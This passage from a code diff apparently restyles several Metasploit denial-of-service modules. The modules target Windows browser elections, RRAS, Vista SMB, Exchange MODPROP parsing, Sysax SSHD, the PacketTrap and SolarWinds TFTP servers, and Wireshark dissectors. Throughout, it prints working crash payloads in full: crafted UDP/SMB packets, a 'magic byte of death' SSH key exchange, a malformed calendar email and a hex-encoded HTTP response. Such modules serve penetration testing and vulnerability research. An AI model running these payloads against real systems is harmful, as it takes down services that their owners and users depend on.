considerable damage to kernel heap memory. While theoretically possible, + it does not appear to be trivial to turn this vulnerability into remote (or + even local) code execution. + }, + 'References' => [ [ 'CVE', '2011-0654' ], [ 'BID', '46360' ], [ 'OSVDB', '70881' ], @@ -38,33 +39,38 @@ def initialize(info = {}) [ 'EDB', '16166' ], [ 'URL', 'https://seclists.org/fulldisclosure/2011/Feb/285' ] ], - 'Author' => [ 'Cupidon-3005', 'jduck' ], - 'License' => MSF_LICENSE - )) + 'Author' => [ 'Cupidon-3005', 'jduck' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(138), - OptString.new('DOMAIN', [ true, "The name of the domain that the target controls" ]) - ]) + OptString.new('DOMAIN', [ true, 'The name of the domain that the target controls' ]) + ] + ) end - def run - connect_udp @client = Rex::Proto::SMB::Client.new(udp_sock) ip = Rex::Socket.source_address(datastore['RHOST']) ip_src = Rex::Socket.resolv_nbo(ip, false) - svc_src = "\x41\x41\x00" # pre-encoded? + svc_src = "\x41\x41\x00" # pre-encoded? name_src = Rex::Text.rand_text_alphanumeric(15) # 4+rand(10)) - svc_dst = "\x42\x4f\x00" # pre-encoded? + svc_dst = "\x42\x4f\x00" # pre-encoded? name_dst = datastore['DOMAIN'] - pipe = "\\MAILSLOT\\BROWSER" + pipe = '\\MAILSLOT\\BROWSER' election = "\x08" + # Election Request @@ -75,21 +81,21 @@ def run "\x20" + # Election OS (NT Server) "\x1b\xe9\xa5\x00" + # Uptime "\x00\x00\x00\x00" + # NULL... Padding? - #("A" * 4) + "\x00" + # ("A" * 4) + "\x00" Rex::Text.rand_text_alphanumeric(410) + "\x00" nbdghdr = "\x11" + # DIRECT_GROUP datagram "\x02" + # first and only fragment - [rand(0xffff)].pack('n') + # Transaction Id (DGM_ID) + [rand(0xffff)].pack('n') + # Transaction Id (DGM_ID) ip_src + "\x00\x8a" + # Source Port (138) "\x00\xa7" + # DGM_LENGTH, patched in after "\x00\x00" # PACKET_OFFSET nbdgs = nbdghdr + - half_ascii(name_src, svc_src) + - half_ascii(name_dst, svc_dst) + half_ascii(name_src, svc_src) + + half_ascii(name_dst, svc_dst) # A Trans request for the mailslot nbdgs << trans_mailslot(pipe, '', election) @@ -97,22 +103,19 @@ def run # Patch up the length (less the nb header) nbdgs[0x0a, 2] = [nbdgs.length - nbdghdr.length].pack('n') - print_status("Sending specially crafted browser election request..") - #print_status("\n" + Rex::Text.to_hex_dump(nbdgs)) + print_status('Sending specially crafted browser election request..') + # print_status("\n" + Rex::Text.to_hex_dump(nbdgs)) udp_sock.put(nbdgs) - print_status("The target should encounter a blue screen error now.") + print_status('The target should encounter a blue screen error now.') disconnect_udp - end - # Perform a browser election request using the specified subcommand, parameters, and data def trans_mailslot(pipe, param = '', body = '') - # Null-terminate the pipe parameter if needed - if (pipe[-1,1] != "\x00") + if (pipe[-1, 1] != "\x00") pipe << "\x00" end @@ -139,7 +142,7 @@ def trans_mailslot(pipe, param = '', body = '') pkt['Payload'].v['DataCountMax'] = 0 pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset if param.length > 0 + pkt['Payload'].v['ParamOffset'] = param_offset if !param.empty? pkt['Payload'].v['DataCount'] = body.length pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup_count @@ -153,13 +156,12 @@ def trans_mailslot(pipe, param = '', body = '') exploit[4, exploit.length - 4] end - def half_ascii(name, svc) - ret = " " - name.unpack('C*').each { |byte| + ret = ' ' + name.unpack('C*').each do |byte| ret << [0x41 + (byte >> 4)].pack('C') ret << [0x41 + (byte & 0xf)].pack('C') - } + end left = 15 - name.length if left > 0 ret << "\x43\x41" * left diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 61cbd39311210..a8dc7fe386210 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -5,41 +5,46 @@ class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference', - 'Description' => %q{ - This module triggers a NULL dereference in svchost.exe on - all current versions of Windows that run the RRAS service. This - service is only accessible without authentication on Windows XP - SP1 (using the SRVSVC pipe). - }, + super( + update_info( + info, + 'Name' => 'Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference', + 'Description' => %q{ + This module triggers a NULL dereference in svchost.exe on + all current versions of Windows that run the RRAS service. This + service is only accessible without authentication on Windows XP + SP1 (using the SRVSVC pipe). + }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '64340'], ], - 'Actions' => - [ - ['Attack', 'Description' => 'Run Denial of Service'], + 'Actions' => [ + ['Attack', { 'Description' => 'Run Denial of Service' }], ], - 'DefaultAction' => 'Attack', - 'DisclosureDate' => '2006-06-14' - )) + 'DefaultAction' => 'Attack', + 'DisclosureDate' => '2006-06-14', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']), - ]) - + OptString.new('SMBPIPE', [ true, 'The pipe name to use (ROUTER, SRVSVC)', 'ROUTER']), + ] + ) end def run @@ -56,11 +61,12 @@ def run print_status("Bound to #{handle} ...") stb = [0, 0, 0, 0].pack('V*') - print_status("Calling the vulnerable function...") + print_status('Calling the vulnerable function...') begin dcerpc.call(0x0C, stb) - rescue Rex::Proto::DCERPC::Exceptions::NoResponse - rescue => e + rescue Rex::Proto::DCERPC::Exceptions::NoResponse => e + vprint_error(e.message) + rescue StandardError => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb index c13e892393b9c..2ca615002f6cd 100644 --- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb +++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb @@ -3,67 +3,66 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS', - 'Description' => %q{ - This module exploits a flaw in Windows Vista that allows a remote - unauthenticated attacker to disable the SMB service. This vulnerability - was silently fixed in Microsoft Vista Service Pack 1. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS', + 'Description' => %q{ + This module exploits a flaw in Windows Vista that allows a remote + unauthenticated attacker to disable the SMB service. This vulnerability + was silently fixed in Microsoft Vista Service Pack 1. + }, + + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '64341'], - ] - )) + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(445)]) end def run - - print_status("Sending 100 negotiate requests..."); + print_status('Sending 100 negotiate requests...') # 100 requests ensure that the bug is reliably hit 1.upto(100) do |i| + connect - begin - - connect - - # 118 dialects are needed to trigger a non-response - dialects = ['NT LM 0.12'] * 118 + # 118 dialects are needed to trigger a non-response + dialects = ['NT LM 0.12'] * 118 - data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') + data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') - pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct - pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0xc853 - pkt['Payload'].v['Payload'] = data - pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000) - pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000) + pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct + pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0xc853 + pkt['Payload'].v['Payload'] = data + pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000) + pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000) - sock.put(pkt.to_s) - - disconnect - - rescue ::Interrupt - raise $! - - rescue ::Exception - print_error("Error at iteration #{i}: #{$!.class} #{$!}") - return - end + sock.put(pkt.to_s) + disconnect + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError + print_error("Error at iteration #{i}: #{$ERROR_INFO.class} #{$ERROR_INFO}") + break end - end end diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb index d3f61d0186640..7cd2bfe290d17 100644 --- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb +++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb @@ -8,103 +8,110 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS06-019 Exchange MODPROP Heap Overflow', - 'Description' => %q{ - This module triggers a heap overflow vulnerability in MS - Exchange that occurs when multiple malformed MODPROP values - occur in a VCAL request. - }, - 'Author' => [ 'pusscat' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'MS06-019 Exchange MODPROP Heap Overflow', + 'Description' => %q{ + This module triggers a heap overflow vulnerability in MS + Exchange that occurs when multiple malformed MODPROP values + occur in a VCAL request. + }, + 'Author' => [ 'pusscat' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '17908'], [ 'CVE', '2006-0027'], [ 'MSB', 'MS06-019'], ], - 'DisclosureDate' => '2004-11-12')) + 'DisclosureDate' => '2004-11-12', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains']) - ]) - + ] + ) end # # This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class # def run - connect_login - modprops = ['attendee', 'categories', 'class', 'created', 'description', - 'dtstamp', 'duration', 'last-modified', - 'location', 'organizer', 'priority', 'recurrence-id', 'sequence', - 'status', 'summary', 'transp', 'uid'] + modprops = [ + 'attendee', 'categories', 'class', 'created', 'description', + 'dtstamp', 'duration', 'last-modified', + 'location', 'organizer', 'priority', 'recurrence-id', 'sequence', + 'status', 'summary', 'transp', 'uid' + ] - #modprops = ['dtstamp'] + # modprops = ['dtstamp'] - modpropshort = "" - modpropbusted = "" + modpropshort = '' + modpropbusted = '' modnum = rand(3) - 1.upto(modnum) { + 1.upto(modnum) do nextprop = rand(modprops.size) - modpropshort << modprops[nextprop] + "," + modpropshort << modprops[nextprop] + ',' modpropbusted << modprops[nextprop].upcase + ":\r\n" - } + end - modpropshort = "dtstamp," + modpropshort = 'dtstamp,' modpropbusted = "DTSTAMP:\r\n" modnum = modnum + 1 + rand(3) - modproplong = modpropshort - 1.upto(modnum) { - modproplong << modprops[rand(modprops.size)] + "," - } - - boundary = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8) + modproplong = modpropshort + 1.upto(modnum) do + modproplong << modprops[rand(modprops.size)] + ',' + end + boundary = Rex::Text.rand_text_alphanumeric(8) + '.' + Rex::Text.rand_text_alphanumeric(8) # Really, the randomization above only crashes /sometimes/ - it's MUCH more # reliable, and gives crashes in better spots of you use these modprops: - modpropshort = "dtstamp," - modproplong = "dtstamp, dtstamp," + modpropshort = 'dtstamp,' + modproplong = 'dtstamp, dtstamp,' modpropbusted = "DTSTAMP:\r\n" - mail = "From: #{datastore['MAILFROM']}\r\n" - mail << "To: #{datastore['MAILTO']}\r\n" - mail << "Subject: #{datastore['SUBJECT']}\r\n" - mail << "Content-class: urn:content-classes:calendarmessage\r\n" - mail << "MIME-Version: 1.0\r\n" - mail << "Content-Type: multipart/alternative;boundary=\"#{boundary}\"\r\n" - mail << "X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n" - mail << "\r\n" - mail << "--#{boundary}\r\n" - mail << "Content-class: urn:content-classes:calendarmessage\r\n" - mail << "Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n" - mail << "Content-Transfer-Encoding: 8bit\r\n" - mail << "\r\n" - mail << "BEGIN:VCALENDAR\r\n" - mail << "BEGIN:VEVENT\r\n" - mail << "X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n" - mail << modpropbusted - mail << "END:VEVENT\r\n" - mail << "BEGIN:VEVENT\r\n" - mail << "X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n" - mail << "END:VEVENT\r\n" - mail << "END:VCALENDAR\r\n" - mail << "\r\n--#{boundary}\r\n" - mail << "\r\n.\r\n" - - - print_status("Sending message...") + mail = "From: #{datastore['MAILFROM']}\r\n" + mail << "To: #{datastore['MAILTO']}\r\n" + mail << "Subject: #{datastore['SUBJECT']}\r\n" + mail << "Content-class: urn:content-classes:calendarmessage\r\n" + mail << "MIME-Version: 1.0\r\n" + mail << "Content-Type: multipart/alternative;boundary=\"#{boundary}\"\r\n" + mail << "X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n" + mail << "\r\n" + mail << "--#{boundary}\r\n" + mail << "Content-class: urn:content-classes:calendarmessage\r\n" + mail << "Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n" + mail << "Content-Transfer-Encoding: 8bit\r\n" + mail << "\r\n" + mail << "BEGIN:VCALENDAR\r\n" + mail << "BEGIN:VEVENT\r\n" + mail << "X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n" + mail << modpropbusted + mail << "END:VEVENT\r\n" + mail << "BEGIN:VEVENT\r\n" + mail << "X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n" + mail << "END:VEVENT\r\n" + mail << "END:VCALENDAR\r\n" + mail << "\r\n--#{boundary}\r\n" + mail << "\r\n.\r\n" + + print_status('Sending message...') sock.put(mail) sock.put("QUIT\r\n") - print "<< " + (sock.get_once || '') + print '<< ' + (sock.get_once || '') disconnect end end diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index 5a55c86a561d7..884ac9c279a97 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -8,36 +8,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service', + 'Description' => %q{ This module sends a specially-crafted SSH Key Exchange causing the service to - crash. - }, - 'Author' => 'Matt "hostess" Andreko ', - 'License' => MSF_LICENSE, - 'References' => - [ + crash. + }, + 'Author' => 'Matt "hostess" Andreko ', + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '92081'], [ 'URL', 'https://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html'] ], - 'DisclosureDate' => '2013-03-17')) + 'DisclosureDate' => '2013-03-17', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(22), OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1']) - ]) - + ] + ) end def get_packet - - delimiter = "\x00"*3 - packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, - 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, - 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, - 0x00, 0x7e].pack("C*") + delimiter = "\x00" * 3 + packet = [ + 0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, + 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, + 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, + 0x00, 0x7e + ].pack('C*') packet << Rex::Text.rand_text_alphanumeric(126) packet << delimiter packet << Rex::Text.rand_text_alphanumeric(16) @@ -51,25 +60,25 @@ def get_packet packet << Rex::Text.rand_text_alphanumeric(106) packet << delimiter packet << "\x28" # Magic byte of death - seems to work with just about - # anything except \x1a, the value it's supposed to be + # anything except \x1a, the value it's supposed to be packet << Rex::Text.rand_text_alphanumeric(26) packet << delimiter packet << Rex::Text.rand_text_alphanumeric(27) - packet << delimiter*7 + packet << delimiter * 7 end def run - connect banner = sock.get_once || '' print_status("Banner: #{banner.strip}") - sock.put("SSH-2.0-OpenSSH_5.1p1 " + datastore['CLIENTVERSION'] + "\r\n" + get_packet()) + sock.put('SSH-2.0-OpenSSH_5.1p1 ' + datastore['CLIENTVERSION'] + "\r\n" + get_packet) # Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case. begin sock.get_once - rescue Errno::ECONNRESET + rescue Errno::ECONNRESET => e + vprint_error(e.message) end disconnect diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb index 4d18806541627..824e76af7c9e8 100644 --- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb +++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb @@ -8,28 +8,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'PacketTrap TFTP Server 2.2.5459.0 DoS', - 'Description' => %q{ - The PacketTrap TFTP server version 2.2.5459.0 can be - brought down by sending a special write request. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'PacketTrap TFTP Server 2.2.5459.0 DoS', + 'Description' => %q{ + The PacketTrap TFTP server version 2.2.5459.0 can be + brought down by sending a special write request. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-1311'], [ 'OSVDB', '42932'], [ 'EDB', '6863'] ], - 'DisclosureDate' => '2008-10-29')) + 'DisclosureDate' => '2008-10-29', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(69)]) end def run connect_udp - print_status("Sending write request...") + print_status('Sending write request...') udp_sock.put("\x00\x02|\x00netascii\x00") disconnect_udp end diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb index 95aeef82bee59..286849e328920 100644 --- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb +++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb @@ -8,21 +8,29 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'SolarWinds TFTP Server 10.4.0.10 Denial of Service' , - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'SolarWinds TFTP Server 10.4.0.10 Denial of Service', + 'Description' => %q{ The SolarWinds TFTP server can be shut down by sending a 'netascii' read - request with a specially crafted file name. - }, - 'Author' => 'Nullthreat', - 'License' => MSF_LICENSE, - 'References' => - [ + request with a specially crafted file name. + }, + 'Author' => 'Nullthreat', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-2115' ], [ 'OSVDB', '64845' ], [ 'EDB', '12683' ] ], - 'DisclosureDate' => '2010-05-21')) + 'DisclosureDate' => '2010-05-21', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(69) @@ -31,7 +39,7 @@ def initialize(info = {}) def run connect_udp - print_status("Sending Crash request...") + print_status('Sending Crash request...') udp_sock.put("\x00\x01\x01\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00") disconnect_udp end diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb index cf430e8585c8d..6adbb940a75b2 100644 --- a/modules/auxiliary/dos/wireshark/capwap.rb +++ b/modules/auxiliary/dos/wireshark/capwap.rb @@ -8,33 +8,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireshark CAPWAP Dissector DoS', - 'Description' => %q{ - This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well - as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a - packet correctly when an incorrect length is given. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Wireshark CAPWAP Dissector DoS', + 'Description' => %q{ + This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well + as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a + packet correctly when an incorrect length is given. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Laurent Butti', # Discovery vulnerability - 'j0sm1' # Auxiliary msf module + 'j0sm1' # Auxiliary msf module ], - 'References' => - [ + 'References' => [ ['CVE', '2013-4074'], ['OSVDB', '94091'], ['BID', '60500'] ], - 'DisclosureDate' => '2014-04-28')) + 'DisclosureDate' => '2014-04-28', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) # Protocol capwap needs port 5247 to trigger the dissector in wireshark register_options([ Opt::RPORT(5247) ]) end def run - connect_udp # We send a packet incomplete to crash dissector @@ -47,6 +53,5 @@ def run udp_sock.put(buf) disconnect_udp - end end diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index ba0ae0b63b29e..63f44fc360d27 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -8,28 +8,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireshark chunked_encoding_dissector Function DOS', - 'Description' => %q{ - Wireshark crash when dissecting an HTTP chunked response. - Versions affected: 0.99.5 (Bug 1394) - }, - 'Author' => ['Matteo Cantoni '], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Wireshark chunked_encoding_dissector Function DOS', + 'Description' => %q{ + Wireshark crash when dissecting an HTTP chunked response. + Versions affected: 0.99.5 (Bug 1394) + }, + 'Author' => ['Matteo Cantoni '], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2007-3389'], ['OSVDB', '37643'], ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], ], - 'DisclosureDate' => '2007-02-22')) + 'DisclosureDate' => '2007-02-22', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptInt.new('SPORT', [true, 'The source port used to send the malicious HTTP response', 80]), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) ]) - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER', 'PCAPFILE') end def run @@ -40,7 +48,7 @@ def run p = PacketFu::TCPPacket.new p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost) p.ip_daddr = rhost - p.tcp_dport = rand(65535)+1 + p.tcp_dport = rand(1..65535) p.tcp_ack = rand(0x100000000) p.tcp_flags.psh = 1 p.tcp_flags.ack = 1 @@ -53,50 +61,50 @@ def run # We represent it like this to prevent tools from mangling the carriage # returns within it. # - p.payload = "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x32\x20\x46\x6f\x75" + - "\x6e\x64\x0d\x0a\x44\x61\x74\x65\x3a\x20\x54\x68\x75\x2c\x20\x32" + - "\x32\x20\x46\x65\x62\x20\x32\x30\x30\x37\x20\x32\x31\x3a\x35\x39" + - "\x3a\x30\x33\x20\x47\x4d\x54\x0d\x0a\x53\x65\x72\x76\x65\x72\x3a" + - "\x20\x41\x70\x61\x63\x68\x65\x2f\x31\x2e\x33\x2e\x33\x37\x20\x28" + - "\x55\x6e\x69\x78\x29\x20\x50\x48\x50\x2f\x34\x2e\x34\x2e\x34\x20" + - "\x6d\x6f\x64\x5f\x74\x68\x72\x6f\x74\x74\x6c\x65\x2f\x33\x2e\x31" + - "\x2e\x32\x20\x6d\x6f\x64\x5f\x70\x73\x6f\x66\x74\x5f\x74\x72\x61" + - "\x66\x66\x69\x63\x2f\x30\x2e\x31\x20\x6d\x6f\x64\x5f\x73\x73\x6c" + - "\x2f\x32\x2e\x38\x2e\x32\x38\x20\x4f\x70\x65\x6e\x53\x53\x4c\x2f" + - "\x30\x2e\x39\x2e\x36\x62\x20\x46\x72\x6f\x6e\x74\x50\x61\x67\x65" + - "\x2f\x35\x2e\x30\x2e\x32\x2e\x32\x36\x33\x35\x0d\x0a\x58\x2d\x50" + - "\x6f\x77\x65\x72\x65\x64\x2d\x42\x79\x3a\x20\x50\x48\x50\x2f\x34" + - "\x2e\x34\x2e\x34\x0d\x0a\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20" + - "\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" + - "\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x0d\x0a\x50\x33\x50" + - "\x3a\x20\x70\x6f\x6c\x69\x63\x79\x72\x65\x66\x3d\x22\x68\x74\x74" + - "\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x77\x33" + - "\x63\x2f\x70\x33\x70\x2e\x78\x6d\x6c\x22\x2c\x20\x43\x50\x3d\x22" + - "\x4e\x4f\x49\x20\x44\x53\x50\x20\x43\x4f\x52\x20\x4e\x49\x44\x20" + - "\x41\x44\x4d\x20\x44\x45\x56\x20\x50\x53\x41\x20\x4f\x55\x52\x20" + - "\x49\x4e\x44\x20\x55\x4e\x49\x20\x50\x55\x52\x20\x43\x4f\x4d\x20" + - "\x4e\x41\x56\x20\x49\x4e\x54\x20\x53\x54\x41\x22\x0d\x0a\x45\x78" + - "\x70\x69\x72\x65\x73\x3a\x20\x54\x68\x75\x2c\x20\x31\x39\x20\x4e" + - "\x6f\x76\x20\x31\x39\x38\x31\x20\x30\x38\x3a\x35\x32\x3a\x30\x30" + - "\x20\x47\x4d\x54\x0d\x0a\x50\x72\x61\x67\x6d\x61\x3a\x20\x6e\x6f" + - "\x2d\x63\x61\x63\x68\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" + - "\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x61\x74\x74" + - "\x61\x63\x68\x6d\x65\x6e\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d" + - "\x65\x3d\x53\x74\x61\x74\x43\x6f\x75\x6e\x74\x65\x72\x2d\x4c\x6f" + - "\x67\x2d\x32\x32\x38\x37\x35\x39\x32\x2e\x63\x73\x76\x0d\x0a\x53" + - "\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x50\x48\x50\x53\x45" + - "\x53\x53\x49\x44\x3d\x64\x37\x35\x65\x64\x39\x37\x36\x66\x30\x30" + - "\x39\x64\x61\x31\x31\x38\x65\x62\x36\x31\x34\x62\x39\x38\x66\x64" + - "\x35\x62\x39\x31\x36\x25\x33\x42\x2b\x70\x61\x74\x68\x25\x33\x44" + - "\x25\x32\x46\x0d\x0a\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x3a" + - "\x20\x74\x69\x6d\x65\x6f\x75\x74\x3d\x31\x35\x2c\x20\x6d\x61\x78" + - "\x3d\x31\x30\x30\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e" + - "\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x54\x72" + - "\x61\x6e\x73\x66\x65\x72\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a" + - "\x20\x63\x68\x75\x6e\x6b\x65\x64\x0d\x0a\x43\x6f\x6e\x74\x65\x6e" + - "\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74" + - "\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d" + - 